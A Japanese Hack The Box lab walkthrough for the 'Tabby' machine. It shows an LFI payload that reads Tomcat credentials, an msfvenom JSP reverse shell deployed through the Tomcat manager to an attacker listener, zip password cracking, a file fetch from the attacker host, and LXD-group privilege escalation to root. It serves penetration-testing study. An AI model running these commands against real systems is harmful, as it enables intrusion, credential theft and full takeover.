【HackTheBox】Tabby - Walkthrough -
本稿では、Hack The Boxにて提供されている Retired Machines の「Tabby」に関する攻略方法(Walkthrough)について検証します。
Hack The Boxに関する詳細は、「Hack The Boxを楽しむためのKali Linuxチューニング」を併せてご確認ください。
マシンの詳細
エグゼクティブサマリー
ツール
- nmap
- tomcat-users.xml
- msfvenom
- NetCat
- fcrackzip
- lxd-alpine-builder
詳細手順
ネットワークサービススキャン
nmap
ネットワークサービススキャン
nmap
IPアドレス 10.10.10.194
を tabby.htb
として、 /etc/hosts
に追加します。その上で、nmapを使用し、ポートスキャンを実行します。
kali@kali:~$ nmap -Pn -T4 -A -v tabby.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-07 00:34 EDT
NSE: Loaded 151 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 00:34
Completed NSE at 00:34, 0.00s elapsed
Initiating NSE at 00:34
Completed NSE at 00:34, 0.00s elapsed
Initiating NSE at 00:34
Completed NSE at 00:34, 0.00s elapsed
Initiating Connect Scan at 00:34
Scanning tabby.htb (10.10.10.194) [1000 ports]
Discovered open port 80/tcp on 10.10.10.194
Discovered open port 8080/tcp on 10.10.10.194
Discovered open port 22/tcp on 10.10.10.194
Completed Connect Scan at 00:34, 1.12s elapsed (1000 total ports)
Initiating Service scan at 00:34
Scanning 3 services on tabby.htb (10.10.10.194)
Completed Service scan at 00:34, 6.18s elapsed (3 services on 1 host)
NSE: Script scanning 10.10.10.194.
Initiating NSE at 00:34
Completed NSE at 00:34, 2.71s elapsed
Initiating NSE at 00:34
Completed NSE at 00:34, 0.33s elapsed
Initiating NSE at 00:34
Completed NSE at 00:34, 0.00s elapsed
Nmap scan report for tabby.htb (10.10.10.194)
Host is up (0.080s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 338ABBB5EA8D80B9869555ECA253D49D
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Mega Hosting
8080/tcp open http Apache Tomcat
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD POST
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
Initiating NSE at 00:34
Completed NSE at 00:34, 0.00s elapsed
Initiating NSE at 00:34
Completed NSE at 00:34, 0.00s elapsed
Initiating NSE at 00:34
Completed NSE at 00:34, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.18 seconds
これで、標的にて稼働しているサービスが判明しました。特に気になるのは次の通りです。
ポート番号 | サービス | バージョン |
---|---|---|
22/tcp | ssh | OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) |
80/tcp | http | Apache httpd 2.4.41 ((Ubuntu)) |
8080/tcp | http | Apache Tomcat |
HTTPサービスのスキャン
Firefox
ブラウザを使って80/tcp
にアクセスしてみます。
トップページにおける以下の記載が気になります。
We have recently upgraded several services. Our servers are now more secure than ever. Read our statement on recovering from the data breach
Local File Inclusion
Local File Inclusion (LFI) の脆弱性を抱えている可能性があります。次のURLにアクセスし、確認してみます。
view-source:http://10.10.10.194/news.php?file=../../../../../etc/passwd
Tomcat
Apache Tomcat
が稼働していることはすでに把握しています。そこで、LFIの脆弱性を突いて、Tomcatの資格情報(tomcat-users.xml
)の取得を試みます。
view-source:http://10.10.10.194/news.php?file=../../../../../../usr/share/tomcat9/etc/tomcat-users.xml
ユーザー名 | パスワード | 権限 |
---|---|---|
tomcat | $3cureP4s5w0rd123! | admin-gui,manager-script |
アクセス権の取得
ペイロードの作成
msfvenom
コマンドを使い、java/jsp_shell_reverse_tcp
リバースシェルを起動するペイロードを生成します。
kali@kali:~$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.5 LPORT=1234 -f war > payload.war
ペイロードのアップロード
msfvenom
コマンドで生成したpayload.war
をtabby.htb
へアップロードします。
kali@kali:~$ curl --user 'tomcat:$3cureP4s5w0rd123!' --upload-file payload.war "http://10.10.10.194:8080/manager/text/deploy?path=/payload.war"
tabby.htb
にpayload.war
がアップロードされていることをリストから確認します。
kali@kali:~$ curl -u 'tomcat':'$3cureP4s5w0rd123!' http://10.10.10.194:8080/manager/text/list
OK - Listed applications for virtual host [localhost]
/:running:0:ROOT
/foo:running:0:foo
/payload.war:running:0:payload.war
/examples:running:0:/usr/share/tomcat9-examples/examples
/host-manager:running:0:/usr/share/tomcat9-admin/host-manager
/manager:running:0:/usr/share/tomcat9-admin/manager
/docs:running:0:/usr/share/tomcat9-docs/docs
ユーザーシェルの取得
ポート 1234
にてリバースシェルを待ち受けます。
kali@kali:~$ nc -lnvp 1234
listening on [any] 1234 ...
curl
コマンドまたはFirefox
にてpayload.war
を実行します。
kali@kali:~$ curl -u 'tomcat':'$3cureP4s5w0rd123!' http://10.10.10.194:8080/payload.war
payload.war
の実行が成功した場合、tomcat
権限のシェルを確立させることができます。
kali@kali:~$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.194] 37826
whoami
tomcat
シェルのアップグレード
操作性を高めるため、シェルをアップグレードします。
python3 -c 'import pty; pty.spawn("/usr/bin/bash")'
tomcat@tabby:/var/lib/tomcat9$
システム探索
/var/www/html/files
ディレクトリの内容を確認します。ここで、16162020_backup.zip
ファイルに注目します。
tomcat@tabby:/var/lib/tomcat9$ cd /var/www/html/files
cd /var/www/html/files
tomcat@tabby:/var/www/html/files$ ls
ls
16162020_backup.zip archive revoked_certs statement
ファイルの転送
16162020_backup.zip
ファイルをkali
上に転送します。
ここでは、tabby.htb
上で16162020_backup.zip
ファイルをBASE64形式に変換し、テキスト情報としてkali
上に転送しています。
tomcat@tabby:/var/www/html/files$ base64 16162020_backup.zip
base64 16162020_backup.zip
UEsDBAoAAAAAAIUDf0gAAAAAAAAAAAAAAAAUABwAdmFyL3d3dy9odG1sL2Fzc2V0cy9VVAkAAxpv
/FYkaMZedXgLAAEEAAAAAAQAAAAAUEsDBBQACQAIALV9LUjibSsoUgEAAP4CAAAYABwAdmFyL3d3
.
省略
.
FAAJAAgAi2pqSOOc2zIlAwAAJgYAABcAGAAAAAAAAQAAAKSB8BsAAHZhci93d3cvaHRtbC9SZWFk
bWUudHh0VVQFAAOWdOFWdXgLAAEEAAAAAAQAAAAAUEsFBgAAAAAHAAcAgAIAAHYfAAAAAA==
tomcat@tabby:/var/www/html/files$
kali
端末上でテキスト情報からバイナリ情報に変換します。
kali@kali:~$ echo "<BASE64コードをペースト>"|base64 -d >16162020_backup.zip
パスワード保護されたファイルの解析
16162020_backup.zip
ファイルはパスワード保護されています。
パスワードをクラックするためにfcrackzip
をインストールします。
kali@kali:~$ sudo apt-get install fcrackzip
kali@kali:~$ fcrackzip -v -D -u -p ./rockyou.txt backup.zip
'var/www/html/assets/' is not encrypted, skipping
found file 'var/www/html/favicon.ico', (size cp/uc 338/ 766, flags 9, chk 7db5)
'var/www/html/files/' is not encrypted, skipping
found file 'var/www/html/index.php', (size cp/uc 3255/ 14793, flags 9, chk 5935)
found file 'var/www/html/logo.png', (size cp/uc 2906/ 2894, flags 9, chk 5d46)
found file 'var/www/html/news.php', (size cp/uc 114/ 123, flags 9, chk 5a7a)
found file 'var/www/html/Readme.txt', (size cp/uc 805/ 1574, flags 9, chk 6a8b)
checking pw arizon1
PASSWORD FOUND!!!!: pw == admin@it
ユーザー名 | パスワード |
---|---|
ash | admin@it |
userフラグの取得
tomcat@tabby:/var/www/html/files$ su ash
su ash
Password: admin@it
ash@tabby:/var/www/html/files$ cd ~
cd ~
ash@tabby:~$ ls
ls
user.txt
ash@tabby:~$ cat user.txt
cat user.txt
特権エスカレーション
ユーザー ash
がlxd
グループのメンバーであることが確認できます。
ash@tabby:~$ id
id
uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)
kali@kali:~$ git clone https://github.com/saghul/lxd-alpine-builder.git
kali@kali:~$ cd lxd-alpine-builder
kali@kali:~/lxd-alpine-builder$ sudo ./build-alpine
Determining the latest release... v3.12
.
省略
.
(18/19) Installing alpine-keys (2.2-r0)
(19/19) Installing alpine-base (3.12.0-r0)
Executing busybox-1.31.1-r19.trigger
OK: 8 MiB in 19 packages
kali@kali:~/lxd-alpine-builder$ ls
alpine-v3.12-x86_64-20200807_0342.tar.gz build-alpine LICENSE README.md
kali@kali:~/lxd-alpine-builder$ python -m SimpleHTTPServer 1234
Serving HTTP on 0.0.0.0 port 1234 ...
10.10.10.194 - - [07/Aug/2020 03:51:39] "GET /alpine-v3.12-x86_64-20200807_0342.tar.gz HTTP/1.1" 200 -
ash@tabby:~/temp$ wget http://10.10.14.5:1234/alpine-v3.12-x86_64-20200807_0342.tar.gz
<.14.5:1234/alpine-v3.12-x86_64-20200807_0342.tar.gz
--2020-08-07 08:05:07-- http://10.10.14.5:1234/alpine-v3.12-x86_64-20200807_0342.tar.gz
Connecting to 10.10.14.5:1234... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3201487 (3.1M) [application/gzip]
Saving to: ‘alpine-v3.12-x86_64-20200807_0342.tar.gz’
alpine-v3.12-x86_64 100%[===================>] 3.05M 3.35MB/s in 0.9s
2020-08-07 08:05:08 (3.35 MB/s) - ‘alpine-v3.12-x86_64-20200807_0342.tar.gz’ saved [3201487/3201487]
ash@tabby:~/temp$ lxc image import ./alpine-v3.12-x86_64-20200807_0342.tar.gz --alias myimage
<e-v3.12-x86_64-20200807_0342.tar.gz --alias myimage
If this is your first time running LXD on this machine, you should also run: lxd init
To start your first instance, try: lxc launch ubuntu:18.04
ash@tabby:~/temp$ lxc image list
lxc image list
+---------+--------------+--------+-------------------------------+--------------+-----------+--------+-----------------------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | TYPE | SIZE | UPLOAD DATE |
+---------+--------------+--------+-------------------------------+--------------+-----------+--------+-----------------------------+
| myimage | d881b5219ab4 | no | alpine v3.12 (20200807_03:42) | x86_64 | CONTAINER | 3.05MB | Aug 7, 2020 at 8:08am (UTC) |
+---------+--------------+--------+-------------------------------+--------------+-----------+--------+-----------------------------+
ash@tabby:~/temp$
エラーError: No storage pool found. Please create a new storage pool
が発生しています。
ash@tabby:~/temp$ lxc init myimage privesc -c security.privileged=true
lxc init myimage privesc -c security.privileged=true
Creating privesc
Error: No storage pool found. Please create a new storage pool
エラーを回避するために、lxd init
コマンドを実行します。
ash@tabby:~/temp$ lxd init
lxd init
Would you like to use LXD clustering? (yes/no) [default=no]:
Do you want to configure a new storage pool? (yes/no) [default=yes]:
Name of the new storage pool [default=default]:
Name of the storage backend to use (btrfs, dir, lvm, ceph) [default=btrfs]:
Create a new BTRFS pool? (yes/no) [default=yes]:
Would you like to use an existing block device? (yes/no) [default=no]:
Size in GB of the new loop device (1GB minimum) [default=15GB]:
Would you like to connect to a MAAS server? (yes/no) [default=no]:
Would you like to create a new local network bridge? (yes/no) [default=yes]:
What should the new bridge be called? [default=lxdbr0]:
What IPv4 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:
What IPv6 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:
Would you like LXD to be available over the network? (yes/no) [default=no]:
Would you like stale cached images to be updated automatically? (yes/no) [default=yes]
Would you like a YAML "lxd init" preseed to be printed? (yes/no) [default=no]:
ash@tabby:~/temp$
ash@tabby:~/temp$ lxc init myimage privesc -c security.privileged=true
lxc init myimage privesc -c security.privileged=true
Creating privesc
ash@tabby:~/temp$
ash@tabby:~/temp$ lxc config device add privesc mydevice disk source=/ path=/mnt/root recursive=true
<ydevice disk source=/ path=/mnt/root recursive=true
Device mydevice added to ignite
ash@tabby:~/temp$
ash@tabby:/var/lib/tomcat9$ lxc start privesc
lxc start privesc
ash@tabby:/var/lib/tomcat9$ lxc exec privesc /bin/sh
lxc exec privesc /bin/sh
~ # ^[[8;5Rwhoami
whoami
root
~ # ^[[31;5Rcd /mnt/root/root
cd /mnt/root/root
/mnt/root/root # ^[[33;18Rls
ls
root.txt snap
/mnt/root/root # ^[[36;18Rcat root.txt
参考情報
- Raj Chandel's Blog, Lxd Privilege Escalation, https://www.hackingarticles.in/lxd-privilege-escalation/
Author And Source
この問題について(【HackTheBox】Tabby - Walkthrough -), 我々は、より多くの情報をここで見つけました https://qiita.com/v_avenger/items/8c8393a65643ae5efc0c著者帰属:元の著者の情報は、元のURLに含まれています。著作権は原作者に属する。
Content is automatically searched and collected through network algorithms . If there is a violation . Please contact us . We will adjust (correct author information ,or delete content ) as soon as possible .